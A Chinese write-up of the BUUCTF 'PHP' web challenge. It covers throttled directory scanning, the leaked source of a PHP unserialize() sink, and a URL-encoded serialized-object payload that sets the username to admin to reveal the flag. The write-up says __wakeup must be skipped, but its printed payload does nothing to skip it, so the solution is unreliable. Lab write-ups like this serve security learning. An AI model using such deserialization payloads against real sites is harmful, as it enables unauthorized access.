[PHP知识库]BUUCTF WEB PHP1

这题提示有备份文件，如果你直接用dirsearch扫，你会扫出来一堆429和503，因为服务器配置了防扫措施，限制了访问频率
要么手动指定扫描速度，或者你可以换个工具，dirmap，这工具本身扫的就不是非常快
扫出来www.zip，看一看，flag.php，一看就是个假flag
把项目导入到phpstorm中，然后搜索flag关键字，发现在class.php里出现了flag，而class.php是由index.php调用
所以看过代码后简单梳理一下思路
index.php

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

index.php要求我们有一个select参数，值是一个Name对象，下面就是绕过，要想拿到flag，username得是admin，password得是100
且wakeup方法不能被调用
简简单单序列化一下

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a=new Name('admin','100');
echo serialize($a);
?>

运行结果

O:4:"Name":2:{s:14:"不可见字符Name不可见字符username";s:5:"admin";s:14:"不可见字符Name不可见字符password";s:3:"100";}

在url里截断符用%00替换，于是完整的payload

?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

参考视频链接:https://www.bilibili.com/video/BV1Uv411A7gC